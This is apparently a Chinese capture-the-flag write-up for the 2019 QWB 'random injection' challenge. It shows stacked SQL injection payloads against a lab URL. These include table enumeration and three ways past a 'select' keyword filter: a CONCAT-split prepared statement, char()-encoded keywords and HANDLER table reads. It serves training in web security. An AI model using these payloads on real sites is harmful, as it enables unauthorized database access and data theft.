[强网杯 2019]随便注 1
进入靶场: 由题目得知是sql注入题目
注入后报错,采用order by测试:
进行联合注入
采用堆叠注入:通过 ; 注入多条SQL语句。
先通过show databases爆出数据库。
通过show tables 爆表
分别爆表:
1919810931114514
注意,表名为数字时,采用``引住

爆出flag
这时候要查询数据,需要绕过select过滤
方法一:预编译(借鉴:https://www.cnblogs.com/cmredkulaa/p/14563311.html)
构造payload
①
payload:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
构造如下:
http://85bfd07a-e8ff-4efd-bb7a-237650c1cb69.node4.buuoj.cn:81/?inject=-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;
报错,考虑区分大小写
http://85bfd07a-e8ff-4efd-bb7a-237650c1cb69.node4.buuoj.cn:81/?inject=-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;
成功!
②
1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#
其中:
拆分开来如下: PREPARE jwt from '[my sql sequece]'; //预定义SQL语句 EXECUTE name; //执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
拿到flag!
③HANDLER 方法
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
payload构造:
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;#
拿到flag!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?